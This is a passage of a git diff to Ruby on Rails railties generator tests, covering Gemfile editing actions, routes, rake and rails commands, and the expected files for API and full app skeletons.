+      assert_match(/gem "RedCloth", ">= 4\.1\.0", "< 4\.2\.0"/, content)
+      assert_match(/gem "nokogiri", ">= 1\.4\.2"/, content)
+      assert_match(/gem "faker", ">= 0\.1\.0", "< 0\.3\.0"/, content)
+    end
   end
 
   def test_gem_should_insert_on_separate_lines
@@ -83,8 +104,8 @@ def test_gem_should_insert_on_separate_lines
     action :gem, "rspec"
     action :gem, "rspec-rails"
 
-    assert_file "Gemfile", /^gem 'rspec'$/
-    assert_file "Gemfile", /^gem 'rspec-rails'$/
+    assert_file "Gemfile", /^gem "rspec"$/
+    assert_file "Gemfile", /^gem "rspec-rails"$/
   end
 
   def test_gem_should_include_options
@@ -92,7 +113,23 @@ def test_gem_should_include_options
 
     action :gem, "rspec", github: "dchelimsky/rspec", tag: "1.2.9.rc1"
 
-    assert_file "Gemfile", /gem 'rspec', github: 'dchelimsky\/rspec', tag: '1\.2\.9\.rc1'/
+    assert_file "Gemfile", /gem "rspec", github: "dchelimsky\/rspec", tag: "1\.2\.9\.rc1"/
+  end
+
+  def test_gem_should_put_the_comment_before_gem_declaration
+    run_generator
+
+    action :gem, "rspec", comment: "Use RSpec"
+
+    assert_file "Gemfile", /# Use RSpec\ngem "rspec"/
+  end
+
+  def test_gem_should_support_multiline_comments
+    run_generator
+
+    action :gem, "rspec", comment: "Use RSpec\nReplaces minitest"
+
+    assert_file "Gemfile", /# Use RSpec\n# Replaces minitest\ngem "rspec"/
   end
 
   def test_gem_with_non_string_options
@@ -101,24 +138,24 @@ def test_gem_with_non_string_options
     action :gem, "rspec", require: false
     action :gem, "rspec-rails", group: [:development, :test]
 
-    assert_file "Gemfile", /^gem 'rspec', require: false$/
-    assert_file "Gemfile", /^gem 'rspec-rails', group: \[:development, :test\]$/
+    assert_file "Gemfile", /^gem "rspec", require: false$/
+    assert_file "Gemfile", /^gem "rspec-rails", group: \[:development, :test\]$/
   end
 
   def test_gem_falls_back_to_inspect_if_string_contains_single_quote
     run_generator
 
-    action :gem, "rspec", ">=2.0'0"
+    action :gem, "rspec", ">=2.0.0"
 
-    assert_file "Gemfile", /^gem 'rspec', ">=2\.0'0"$/
+    assert_file "Gemfile", /^gem "rspec", ">=2\.0\.0"$/
   end
 
   def test_gem_works_even_if_frozen_string_is_passed_as_argument
     run_generator
 
-    action :gem, "frozen_gem".freeze, "1.0.0".freeze
+    action :gem, -"frozen_gem", -"1.0.0"
 
-    assert_file "Gemfile", /^gem 'frozen_gem', '1.0.0'$/
+    assert_file "Gemfile", /^gem "frozen_gem", "1\.0\.0"$/
   end
 
   def test_gem_group_should_wrap_gems_in_a_group
@@ -132,208 +169,529 @@ def test_gem_group_should_wrap_gems_in_a_group
       gem "fakeweb"
     end
 
-    assert_file "Gemfile", /\ngroup :development, :test do\n  gem 'rspec-rails'\nend\n\ngroup :test do\n  gem 'fakeweb'\nend/
+    assert_file "Gemfile", /\n\ngroup :development, :test do\n  gem "rspec-rails"\nend\n\ngroup :test do\n  gem "fakeweb"\nend\n\z/
+  end
+
+  def test_gem_group_should_indent_comments
+    run_generator
+
+    action :gem_group, :test do
+      gem "fakeweb", comment: "Fake requests"
+    end
+
+    assert_file "Gemfile", /\n\ngroup :test do\n  # Fake requests\n  gem "fakeweb"\nend\n\z/
+  end
+
+  def test_gem_group_should_indent_multiline_comments
+    run_generator
+
+    action :gem_group, :test do
+      gem "fakeweb", comment: "Fake requests\nNeeded in tests"
+    end
+
+    assert_file "Gemfile", /\n\ngroup :test do\n  # Fake requests\n  # Needed in tests\n  gem "fakeweb"\nend\n\z/
+  end
+
+  def test_github_should_create_an_indented_block
+    run_generator
+
+    action :github, "user/repo" do
+      gem "foo"
+      gem "bar"
+      gem "baz"
+    end
+
+    assert_file "Gemfile", /\n\ngithub "user\/repo" do\n  gem "foo"\n  gem "bar"\n  gem "baz"\nend\n\z/
+  end
+
+  def test_github_should_create_an_indented_block_with_options
+    run_generator
+
+    action :github, "user/repo", a: "correct", other: true do
+      gem "foo"
+      gem "bar"
+      gem "baz"
+    end
+
+    assert_file "Gemfile", /\n\ngithub "user\/repo", a: "correct", other: true do\n  gem "foo"\n  gem "bar"\n  gem "baz"\nend\n\z/
+  end
+
+  def test_github_should_create_an_indented_block_within_a_group
+    run_generator
+
+    action :gem_group, :magic do
+      github "user/repo", a: "correct", other: true do
+        gem "foo"
+        gem "bar"
+        gem "baz"
+      end
+      github "user/repo2", a: "correct", other: true do
+        gem "foo"
+        gem "bar"
+        gem "baz"
+      end
+    end
+
+    assert_file "Gemfile", /\n\ngroup :magic do\n  github "user\/repo", a: "correct", other: true do\n    gem "foo"\n    gem "bar"\n    gem "baz"\n  end\n  github "user\/repo2", a: "correct", other: true do\n    gem "foo"\n    gem "bar"\n    gem "baz"\n  end\nend\n\z/
+  end
+
+  def test_github_should_create_newline_between_blocks
+    run_generator
+
+    action :github, "user/repo", a: "correct", other: true do
+      gem "foo"
+      gem "bar"
+      gem "baz"
+    end
+
+    action :github, "user/repo2", a: "correct", other: true do
+      gem "foo"
+      gem "bar"
+      gem "baz"
+    end
+
+    assert_file "Gemfile", /\n\ngithub "user\/repo", a: "correct", other: true do\n  gem "foo"\n  gem "bar"\n  gem "baz"\nend\n\ngithub "user\/repo2", a: "correct", other: true do\n  gem "foo"\n  gem "bar"\n  gem "baz"\nend\n\z/
+  end
+
+  def test_gem_with_gemfile_without_newline_at_the_end
+    run_generator
+    File.open("Gemfile", "a") { |f| f.write('gem "rspec-rails"') }
+
+    action :gem, "will-paginate"
+    assert_file "Gemfile", /gem "rspec-rails"\ngem "will-paginate"\n\z/
+  end
+
+  def test_gem_group_with_gemfile_without_newline_at_the_end
+    run_generator
+    File.open("Gemfile", "a") { |f| f.write('gem "rspec-rails"') }
+
+    action :gem_group, :test do
+      gem "fakeweb"
+    end
+
+    assert_file "Gemfile", /gem "rspec-rails"\n\ngroup :test do\n  gem "fakeweb"\nend\n\z/
+  end
+
+  def test_add_source_with_gemfile_without_newline_at_the_end
+    run_generator
+    File.open("Gemfile", "a") { |f| f.write('gem "rspec-rails"') }
+
+    action :add_source, "http://gems.github.com" do
+      gem "fakeweb"
+    end
+
+    assert_file "Gemfile", /gem "rspec-rails"\n\nsource "http:\/\/gems\.github\.com" do\n  gem "fakeweb"\nend\n\z/
+  end
+
+  def test_github_with_gemfile_without_newline_at_the_end
+    run_generator
+    File.open("Gemfile", "a") { |f| f.write('gem "rspec-rails"') }
+
+    action :github, "user/repo" do
+      gem "fakeweb"
+    end
+
+    assert_file "Gemfile", /gem "rspec-rails"\n\ngithub "user\/repo" do\n  gem "fakeweb"\nend\n\z/
   end
 
   def test_environment_should_include_data_in_environment_initializer_block
     run_generator
     autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
     action :environment, autoload_paths
-    assert_file "config/application.rb", /  class Application < Rails::Application\n    #{Regexp.escape(autoload_paths)}/
+    assert_file "config/application.rb", /  class Application < Rails::Application\n    #{Regexp.escape(autoload_paths)}\n/
   end
 
   def test_environment_should_include_data_in_environment_initializer_block_with_env_option
     run_generator
     autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
     action :environment, autoload_paths, env: "development"
-    assert_file "config/environments/development.rb", /Rails\.application\.configure do\n  #{Regexp.escape(autoload_paths)}/
+    assert_file "config/environments/development.rb", /Rails\.application\.configure do\n  #{Regexp.escape(autoload_paths)}\n/
   end
 
   def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
     run_generator
 
     action :environment do
-      _ = "# This wont be added"# assignment to silence parse-time warning "unused literal ignored"
+      _ = "# This won't be added" # assignment to silence parse-time warning "unused literal ignored"
       "# This will be added"
     end
 
     assert_file "config/application.rb" do |content|
       assert_match(/# This will be added/, content)
-      assert_no_match(/# This wont be added/, content)
+      assert_no_match(/# This won't be added/, content)
     end
   end
 
+  def test_environment_with_block_should_include_block_contents_with_multiline_data_in_environment_initializer_block
+    run_generator
+    data = <<-RUBY
+      config.encoding = "utf-8"
+      config.time_zone = "UTC"
+    RUBY
+    action(:environment) { data }
+    assert_file "config/application.rb", /  class Application < Rails::Application\n#{Regexp.escape(data.strip_heredoc.indent(4))}/
+  end
+
+  def test_environment_should_include_block_contents_with_multiline_data_in_environment_initializer_block_with_env_option
+    run_generator
+    data = <<-RUBY
+      config.encoding = "utf-8"
+      config.time_zone = "UTC"
+    RUBY
+    action(:environment, nil, env: "development") { data }
+    assert_file "config/environments/development.rb", /Rails\.application\.configure do\n#{Regexp.escape(data.strip_heredoc.indent(2))}/
+  end
+
   def test_git_with_symbol_should_run_command_using_git_scm
-    assert_called_with(generator, :run, ["git init"]) do
+    assert_runs "git init", nil do
       action :git, :init
     end
   end
 
   def test_git_with_hash_should_run_each_command_using_git_scm
-    assert_called_with(generator, :run, [ ["git rm README"], ["git add ."] ]) do
+    assert_runs ["git rm README", "git add ."], nil do
       action :git, rm: "README", add: "."
     end
   end
 
   def test_vendor_should_write_data_to_file_in_vendor
     action :vendor, "vendor_file.rb", "# vendor data"
-    assert_file "vendor/vendor_file.rb", "# vendor data"
+    assert_file "vendor/vendor_file.rb", "# vendor data\n"
+  end
+
+  def test_vendor_should_write_data_to_file_with_block_in_vendor
+    code = <<-RUBY
+      puts "one"
+      puts "two"
+      puts "three"
+    RUBY
+    action(:vendor, "vendor_file.rb") { code }
+    assert_file "vendor/vendor_file.rb", code.strip_heredoc
   end
 
   def test_lib_should_write_data_to_file_in_lib
     action :lib, "my_library.rb", "class MyLibrary"
-    assert_file "lib/my_library.rb", "class MyLibrary"
+    assert_file "lib/my_library.rb", "class MyLibrary\n"
+  end
+
+  def test_lib_should_write_data_to_file_with_block_in_lib
+    code = <<-RUBY
+      class MyLib
+        MY_CONSTANT = 123
+      end
+    RUBY
+    action(:lib, "my_library.rb") { code }
+    assert_file "lib/my_library.rb", code.strip_heredoc
   end
 
   def test_rakefile_should_write_date_to_file_in_lib_tasks
     action :rakefile, "myapp.rake", "task run: [:environment]"
-    assert_file "lib/tasks/myapp.rake", "task run: [:environment]"
+    assert_file "lib/tasks/myapp.rake", "task run: [:environment]\n"
+  end
+
+  def test_rakefile_should_write_date_to_file_with_block_in_lib_tasks
+    code = <<-RUBY
+      task rock: :environment do
+        puts "Rockin'"
+      end
+    RUBY
+    action(:rakefile, "myapp.rake") { code }
+    assert_file "lib/tasks/myapp.rake", code.strip_heredoc
   end
 
   def test_initializer_should_write_date_to_file_in_config_initializers
     action :initializer, "constants.rb", "MY_CONSTANT = 42"
-    assert_file "config/initializers/constants.rb", "MY_CONSTANT = 42"
+    assert_initializer "constants.rb", "MY_CONSTANT = 42\n"
+  end
+
+  def test_initializer_should_write_date_to_file_with_block_in_config_initializers
+    code = <<-RUBY
+      MyLib.configure do |config|
+        config.value = 123
+      end
+    RUBY
+    action(:initializer, "constants.rb") { code }
+    assert_initializer "constants.rb" do |content|
+      assert_equal(content, code.strip_heredoc)
+    end
+  end
+
+  test "generate" do
+    run_generator
+    action :generate, "model", "MyModel"
+    assert_file "app/models/my_model.rb", /MyModel/
   end
 
-  def test_generate_should_run_script_generate_with_argument_and_options
-    assert_called_with(generator, :run_ruby_script, ["bin/rails generate model MyModel", verbose: false]) do
-      action :generate, "model", "MyModel"
+  test "generate should raise on failure" do
+    run_generator
+    message = capture(:stderr) do
+      assert_raises SystemExit do
+        action :generate, "model", "1234567890"
+      end
     end
+    assert_match(/1234567890/, message)
   end
 
-  def test_rails_should_run_rake_command_with_default_env
-    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=development", verbose: false]) do
+  test "generate with inline option" do
+    run_generator
+    assert_not_called(generator, :run) do
+      action :generate, "model", "MyModel", inline: true
+    end
+    assert_file "app/models/my_model.rb", /MyModel/
+  end
+
+  test "generate with inline option should raise on failure" do
+    run_generator
+    error = assert_raises do
+      action :generate, "model", "1234567890", inline: true
+    end
+    assert_match(/1234567890/, error.message)
+  end
+
+  test "rake should run rake with the default environment" do
+    assert_runs "rake log:clear", env: { "RAILS_ENV" => "development" } do
       with_rails_env nil do
         action :rake, "log:clear"
       end
     end
   end
 
-  def test_rails_with_env_option_should_run_rake_command_in_env
-    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+  test "rake with env option should run rake with the env environment" do
+    assert_runs "rake log:clear", env: { "RAILS_ENV" => "production" } do
       action :rake, "log:clear", env: "production"
     end
   end
 
-  test "rails command with RAILS_ENV variable should run rake command in env" do
-    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+  test "rake with RAILS_ENV set should run rake with the RAILS_ENV environment" do
+    assert_runs "rake log:clear", env: { "RAILS_ENV" => "production" } do
       with_rails_env "production" do
         action :rake, "log:clear"
       end
     end
   end
 
-  test "env option should win over RAILS_ENV variable when running rake" do
-    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+  test "rake with env option and RAILS_ENV set should run rake with the env environment" do
+    assert_runs "rake log:clear", env: { "RAILS_ENV" => "production" } do
       with_rails_env "staging" do
         action :rake, "log:clear", env: "production"
       end
     end
   end
 
-  test "rails command with sudo option should run rake command with sudo" do
-    assert_called_with(generator, :run, ["sudo rake log:clear RAILS_ENV=development", verbose: false]) do
-      with_rails_env nil do
-        action :rake, "log:clear", sudo: true
+  test "rake with sudo option should run rake with sudo" do
+    assert_runs "sudo rake log:clear" do
+      action :rake, "log:clear", sudo: true
+    end
+  end
+
+  test "rake with capture option should run rake with capture" do
+    assert_runs "rake log:clear", capture: true do
+      action :rake, "log:clear", capture: true
+    end
+  end
+
+  test "rake with abort_on_failure option should raise on failure" do
+    capture(:stderr) do
+      assert_raises SystemExit do
+        action :rake, "invalid", abort_on_failure: true
       end
     end
   end
 
-  test "rails command should run rails_command with default env" do
-    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=development", verbose: false]) do
+  test "rails_command should run rails with the default environment" do
+    assert_runs "rails log:clear", env: { "RAILS_ENV" => "development" } do
       with_rails_env nil do
         action :rails_command, "log:clear"
       end
     end
   end
 
-  test "rails command with env option should run rails_command with same env" do
-    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+  test "rails_command with env option should run rails with the env environment" do
+    assert_runs "rails log:clear", env: { "RAILS_ENV" => "production" } do
       action :rails_command, "log:clear", env: "production"
     end
   end
 
-  test "rails command with RAILS_ENV variable should run rails_command in env" do
-    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+  test "rails_command with RAILS_ENV set should run rails with the RAILS_ENV environment" do
+    assert_runs "rails log:clear", env: { "RAILS_ENV" => "production" } do
       with_rails_env "production" do
         action :rails_command, "log:clear"
       end
     end
   end
 
-  def test_env_option_should_win_over_rails_env_variable_when_running_rails
-    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+  test "rails_command with env option and RAILS_ENV set should run rails with the env environment" do
+    assert_runs "rails log:clear", env: { "RAILS_ENV" => "production" } do
       with_rails_env "staging" do
         action :rails_command, "log:clear", env: "production"
       end
     end
   end
 
-  test "rails command with sudo option should run rails_command with sudo" do
-    assert_called_with(generator, :run, ["sudo rails log:clear RAILS_ENV=development", verbose: false]) do
+  test "rails_command with sudo option should run rails with sudo" do
+    assert_runs "sudo rails log:clear" do
       with_rails_env nil do
         action :rails_command, "log:clear", sudo: true
       end
     end
   end
 
-  def test_capify_should_run_the_capify_command
-    assert_called_with(generator, :run, ["capify .", verbose: false]) do
-      action :capify!
+  test "rails_command with capture option should run rails with capture" do
+    assert_runs "rails log:clear", capture: true do
+      with_rails_env nil do
+        action :rails_command, "log:clear", capture: true
+      end
     end
   end
 
-  def test_route_should_add_data_to_the_routes_block_in_config_routes
+  test "rails_command with abort_on_failure option should raise on failure" do
     run_generator
-    route_command = "route '/login', controller: 'sessions', action: 'new'"
-    action :route, route_command
-    assert_file "config/routes.rb", /#{Regexp.escape(route_command)}/
+    capture(:stderr) do
+      assert_raises SystemExit do
+        action :rails_command, "invalid", abort_on_failure: true
+      end
+    end
+  end
+
+  test "rails_command with inline option" do
+    run_generator
+    assert_not_called(generator, :run) do
+      action :rails_command, "generate model MyModel", inline: true
+    end
+    assert_file "app/models/my_model.rb", /MyModel/
   end
 
-  def test_route_should_be_idempotent
+  test "rails_command with inline option should raise on failure" do
     run_generator
-    route_path = File.expand_path("config/routes.rb", destination_root)
+    error = assert_raises do
+      action :rails_command, "generate model 1234567890", inline: true
+    end
+    assert_match(/1234567890/, error.message)
+  end
 
-    # runs first time, not asserting
-    action :route, "root 'welcome#index'"
-    content_1 = File.read(route_path)
+  test "rails_command with quiet option" do
+    generator(default_arguments, quiet: true)
+    assert_runs "rails new myapp", capture: true do
+      action :rails_command, "new myapp"
+    end
+  end
 
-    # runs second time
-    action :route, "root 'welcome#index'"
-    content_2 = File.read(route_path)
+  test "route should add route" do
+    run_generator
+    route_commands = ['get "foo"', 'get "bar"', 'get "baz"']
+    route_commands.each do |route_command|
+      action :route, route_command
+    end
+    assert_routes route_commands
+  end
 
-    assert_equal content_1, content_2
+  test "route should indent routing code" do
+    run_generator
+    route_commands = ['get "foo"', 'get "bar"', 'get "baz"']
+    action :route, route_commands.join("\n")
+    assert_routes route_commands
   end
 
-  def test_route_should_add_data_with_an_new_line
+  test "route should be idempotent" do
     run_generator
-    action :route, "root 'welcome#index'"
-    route_path = File.expand_path("config/routes.rb", destination_root)
-    content = File.read(route_path)
+    route_command = 'root "welcome#index"'
 
-    # Remove all of the comments and blank lines from the routes file
-    content.gsub!(/^  \#.*\n/, "")
-    content.gsub!(/^\n/, "")
+    # runs first time
+    action :route, route_command
+    assert_routes route_command
 
-    File.open(route_path, "wb") { |file| file.write(content) }
+    content = File.read(File.expand_path("config/routes.rb", destination_root))
 
-    routes = <<-F
-Rails.application.routes.draw do
-  root 'welcome#index'
-end
-F
+    # runs second time
+    action :route, route_command
+    assert_file "config/routes.rb", content
+  end
 
-    assert_file "config/routes.rb", routes
+  test "route with namespace option should nest route" do
+    run_generator
+    action :route, "get 'foo'\nget 'bar'", namespace: :baz
 
-    action :route, "resources :product_lines"
+    assert_routes <<~ROUTING_CODE.chomp
+      namespace :baz do
+        get 'foo'
+        get 'bar'
+      end
+    ROUTING_CODE
+  end
 
-    routes = <<-F
-Rails.application.routes.draw do
-  resources :product_lines
-  root 'welcome#index'
-end
-F
-    assert_file "config/routes.rb", routes
+  test "route with namespace option array should deeply nest route" do
+    run_generator
+    action :route, "get 'foo'\nget 'bar'", namespace: %w[baz qux]
+
+    assert_routes <<~ROUTING_CODE.chomp
+      namespace :baz do
+        namespace :qux do
+          get 'foo'
+          get 'bar'
+        end
+      end
+    ROUTING_CODE
+  end
+
+  test "route with namespace option injects into existing namespace blocks" do
+    run_generator
+    action :route, "get 'foo1'\nget 'bar1'", namespace: %w[baz qux]
+    action :route, "get 'foo2'\nget 'bar2'", namespace: %w[baz hoge]
+    action :route, "get 'foo3'\nget 'bar3'", namespace: %w[baz qux hoge]
+
+    assert_routes <<~ROUTING_CODE.chomp
+      namespace :baz do
+        namespace :hoge do
+          get 'foo2'
+          get 'bar2'
+        end
+        namespace :qux do
+          namespace :hoge do
+            get 'foo3'
+            get 'bar3'
+          end
+          get 'foo1'
+          get 'bar1'
+        end
+      end
+    ROUTING_CODE
+  end
+
+  test "route with namespace option revokes route without breaking existing namespace blocks" do
+    run_generator
+    action :route, <<~ROUTING_CODE.chomp
+      namespace :baz do
+        get 'foo1'
+        namespace :qux do
+          get 'foo2'
+          namespace :hoge do
+            get 'foo3'
+          end
+        end
+        get 'bar1'
+      end
+    ROUTING_CODE
+
+    revoke :route, "get 'foo2'", namespace: %w[baz qux]
+    assert_routes <<~ROUTING_CODE.chomp
+      namespace :baz do
+        get 'foo1'
+        namespace :qux do
+          namespace :hoge do
+            get 'foo3'
+          end
+        end
+        get 'bar1'
+      end
+    ROUTING_CODE
+
+    revoke :route, "get 'foo3'", namespace: %w[baz qux hoge]
+    assert_routes <<~ROUTING_CODE.chomp
+      namespace :baz do
+        get 'foo1'
+        get 'bar1'
+      end
+    ROUTING_CODE
   end
 
   def test_readme
@@ -370,8 +728,51 @@ def test_log_with_status_with_quiet
   end
 
   private
+    def action(...)
+      if ENV["RAILS_LOG_TO_STDOUT"] == "true"
+        generator.send(...)
+      else
+        capture(:stdout) { generator.send(...) }
+      end
+    end
+
+    def revoke(...)
+      original_behavior, generator.behavior = generator.behavior, :revoke
+      action(...)
+    ensure
+      generator.behavior = original_behavior
+    end
+
+    def assert_runs(commands, config = {}, &block)
+      config_matcher = ->(actual_config) do
+        assert_equal config, actual_config.slice(*config.keys)
+      end if config
+
+      mock = Minitest::Mock.new
+
+      Array(commands).each do |command|
+        command_matcher = Regexp.escape(command)
+        command_matcher = command_matcher.sub(/^sudo\\ /, '\A\1.*')
+        args = [/#{command_matcher}\z/, *config_matcher]
+        mock.expect(:call, nil, args)
+      end
+
+      generator.stub(:run, mock, &block)
+
+      assert_mock(mock)
+    end
+
+    def assert_routes(*route_commands)
+      route_regexps = route_commands.flatten.map do |route_command|
+        %r{
+          ^#{Regexp.escape("Rails.application.routes.draw do")}\n
+            (?:[ ]{2}.+\n|\n)*
+            #{Regexp.escape(route_command.indent(2))}\n
+            (?:[ ]{2}.+\n|\n)*
+          end\n
+        }x
+      end
 
-    def action(*args, &block)
-      capture(:stdout) { generator.send(*args, &block) }
+      assert_file "config/routes.rb", *route_regexps
     end
 end
diff --git a/railties/test/generators/api_app_generator_test.rb b/railties/test/generators/api_app_generator_test.rb
index c54d9cc599603..8738647fce6e8 100644
--- a/railties/test/generators/api_app_generator_test.rb
+++ b/railties/test/generators/api_app_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/app/app_generator"
 
@@ -11,10 +13,10 @@ def setup
     Rails.application = TestApp::Application
     super
 
-    Kernel::silence_warnings do
-      Thor::Base.shell.send(:attr_accessor, :always_force)
+    Kernel.silence_warnings do
+      Thor::Base.shell.attr_accessor :always_force
       @shell = Thor::Base.shell.new
-      @shell.send(:always_force=, true)
+      @shell.always_force = true
     end
   end
 
@@ -28,68 +30,184 @@ def test_skeleton_is_created
 
     default_files.each { |path| assert_file path }
     skipped_files.each { |path| assert_no_file path }
+
+    absolute = File.expand_path("bin/docker-entrypoint", destination_root)
+    assert File.executable?(absolute)
   end
 
   def test_api_modified_files
     run_generator
 
+    assert_file ".gitignore" do |content|
+      assert_no_match(/\/public\/assets/, content)
+    end
+
     assert_file "Gemfile" do |content|
-      assert_no_match(/gem 'coffee-rails'/, content)
-      assert_no_match(/gem 'sass-rails'/, content)
-      assert_no_match(/gem 'web-console'/, content)
-      assert_match(/# gem 'jbuilder'/, content)
+      assert_no_match(/gem "sass-rails"/, content)
+      assert_no_match(/gem "web-console"/, content)
+      assert_no_match(/gem "capybara"/, content)
+      assert_no_match(/gem "selenium-webdriver"/, content)
+      assert_match(/# gem "jbuilder"/, content)
+      assert_match(/# gem "rack-cors"/, content)
     end
 
-    assert_file "config/application.rb" do |content|
-      assert_match(/config.api_only = true/, content)
+    assert_file "config/application.rb", /config\.api_only = true/
+    assert_file "app/controllers/application_controller.rb", /ActionController::API/
+
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/action_controller\.perform_caching = true/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/action_controller\.perform_caching = true/, content)
     end
 
-    assert_file "config/initializers/cors.rb"
+    assert_file ".github/workflows/ci.yml" do |content|
+      assert_no_match(/test:system/, content)
+      assert_no_match(/screenshots/, content)
+      assert_no_match(/scan_js/, content)
+      assert_no_match(/google-chrome-stable/, content)
+    end
+  end
 
-    assert_file "config/initializers/wrap_parameters.rb"
+  def test_dockerfile
+    run_generator
 
-    assert_file "app/controllers/application_controller.rb", /ActionController::API/
+    assert_file "Dockerfile" do |content|
+      assert_no_match(/assets:precompile/, content)
+    end
   end
 
   def test_generator_if_skip_action_cable_is_given
-    run_generator [destination_root, "--skip-action-cable"]
+    run_generator [destination_root, "--api", "--skip-action-cable"]
     assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/
     assert_no_file "config/cable.yml"
-    assert_no_file "app/channels"
     assert_file "Gemfile" do |content|
-      assert_no_match(/redis/, content)
+      assert_no_match(/"redis"/, content)
+    end
+  end
+
+  def test_generator_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--api", "--skip-action-mailer"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_no_directory "app/mailers"
+    assert_no_directory "test/mailers"
+    assert_no_directory "app/views"
+  end
+
+  def test_generator_skip_css
+    run_generator [destination_root, "--api", "--css=tailwind"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(%r/gem "tailwindcss-rails"/, content)
     end
+
+    assert_no_file "app/views/layouts/application.html.erb"
+  end
+
+  def test_app_update_does_not_generate_unnecessary_config_files
+    run_generator
+
+    generator = Rails::Generators::AppGenerator.new ["rails"],
+      { api: true, update: true }, { destination_root: destination_root, shell: @shell }
+    quietly { generator.update_config_files }
+
+    assert_no_file "config/initializers/assets.rb"
+    assert_no_file "config/initializers/content_security_policy.rb"
   end
 
-  def test_generator_skips_per_form_csrf_token_and_origin_check_configs_for_api_apps
+  def test_app_update_does_not_generate_unnecessary_bin_files
     run_generator
 
-    assert_file "config/initializers/new_framework_defaults.rb" do |initializer_content|
-      assert_no_match(/per_form_csrf_tokens/, initializer_content)
-      assert_no_match(/forgery_protection_origin_check/, initializer_content)
+    generator = Rails::Generators::AppGenerator.new ["rails"],
+      { api: true, update: true }, { destination_root: destination_root, shell: @shell }
+    quietly { generator.update_bin_files }
+    pass
+  end
+
+  def test_app_update_does_not_generate_public_files
+    run_generator
+    run_app_update
+
+    assert_no_file "public/406-unsupported-browser.html"
+  end
+
+  def test_kamal_deploy_yml_excludes_asset_path_for_api_apps
+    generator [destination_root], ["--api"]
+    run_generator_instance
+
+    assert_equal 1, @bundle_commands.count("binstubs kamal")
+    assert_equal 1, @bundle_commands.count("exec kamal init")
+
+    assert_file "config/deploy.yml" do |content|
+      assert_no_match(/asset_path:/, content)
+      assert_no_match(/public\/assets/, content)
     end
   end
 
   private
+    def run_generator_instance
+      @bundle_commands = []
+      bundle_command_stub = -> (command, *) { @bundle_commands << command }
+
+      generator.stub :bundle_command, bundle_command_stub do
+        super
+      end
+    end
 
     def default_files
-      files = %W(
-        .gitignore
+      %w(.gitignore
+        .ruby-version
+        .dockerignore
+        README.md
         Gemfile
         Rakefile
+        Dockerfile
         config.ru
         app/controllers
         app/mailers
         app/models
+        app/views/layouts
         app/views/layouts/mailer.html.erb
         app/views/layouts/mailer.text.erb
+        bin/dev
+        bin/docker-entrypoint
+        bin/rails
+        bin/rake
+        bin/setup
+        config/application.rb
+        config/boot.rb
+        config/bundler-audit.yml
+        config/cable.yml
+        config/environment.rb
         config/environments
+        config/environments/development.rb
+        config/environments/production.rb
+        config/environments/test.rb
         config/initializers
+        config/initializers/cors.rb
+        config/initializers/filter_parameter_logging.rb
+        config/initializers/inflections.rb
         config/locales
+        config/locales/en.yml
+        config/puma.rb
+        config/routes.rb
+        config/credentials.yml.enc
+        config/storage.yml
         db
+        db/seeds.rb
         lib
         lib/tasks
         log
+        script
         test/fixtures
         test/controllers
         test/integration
@@ -97,8 +215,6 @@ def default_files
         tmp
         vendor
       )
-      files.concat %w(bin/bundle bin/rails bin/rake)
-      files
     end
 
     def skipped_files
@@ -107,17 +223,15 @@ def skipped_files
          app/views/layouts/application.html.erb
          bin/yarn
          config/initializers/assets.rb
-         config/initializers/cookies_serializer.rb
-         lib/assets
+         config/initializers/content_security_policy.rb
          test/helpers
-         tmp/cache/assets
+         public/400.html
          public/404.html
          public/422.html
+         public/406-unsupported-browser.html
          public/500.html
-         public/apple-touch-icon-precomposed.png
-         public/apple-touch-icon.png
-         public/favicon.icon
-         vendor/package.json
+         public/icon.png
+         public/icon.svg
       )
     end
 end
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index ce29d93d6e539..cecc99d1b900e 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,51 +1,91 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/app/app_generator"
 require "generators/shared_generator_tests"
 
 DEFAULT_APP_FILES = %w(
+  .dockerignore
+  .git
+  .gitattributes
+  .github/dependabot.yml
+  .github/workflows/ci.yml
   .gitignore
-  README.md
+  .rubocop.yml
+  .ruby-version
+  Dockerfile
   Gemfile
+  README.md
   Rakefile
-  config.ru
-  app/assets/javascripts
-  app/assets/stylesheets
-  app/assets/images
-  app/controllers
-  app/controllers/concerns
-  app/helpers
-  app/mailers
-  app/models
-  app/models/concerns
-  app/jobs
-  app/views/layouts
-  bin/bundle
+  app/assets/images/.keep
+  app/assets/stylesheets/application.css
+  app/controllers/application_controller.rb
+  app/controllers/concerns/.keep
+  app/helpers/application_helper.rb
+  app/jobs/application_job.rb
+  app/mailers/application_mailer.rb
+  app/models/application_record.rb
+  app/models/concerns/.keep
+  app/views/layouts/application.html.erb
+  app/views/layouts/mailer.html.erb
+  app/views/layouts/mailer.text.erb
+  app/views/pwa/manifest.json.erb
+  app/views/pwa/service-worker.js
+  bin/brakeman
+  bin/bundler-audit
+  bin/ci
+  bin/dev
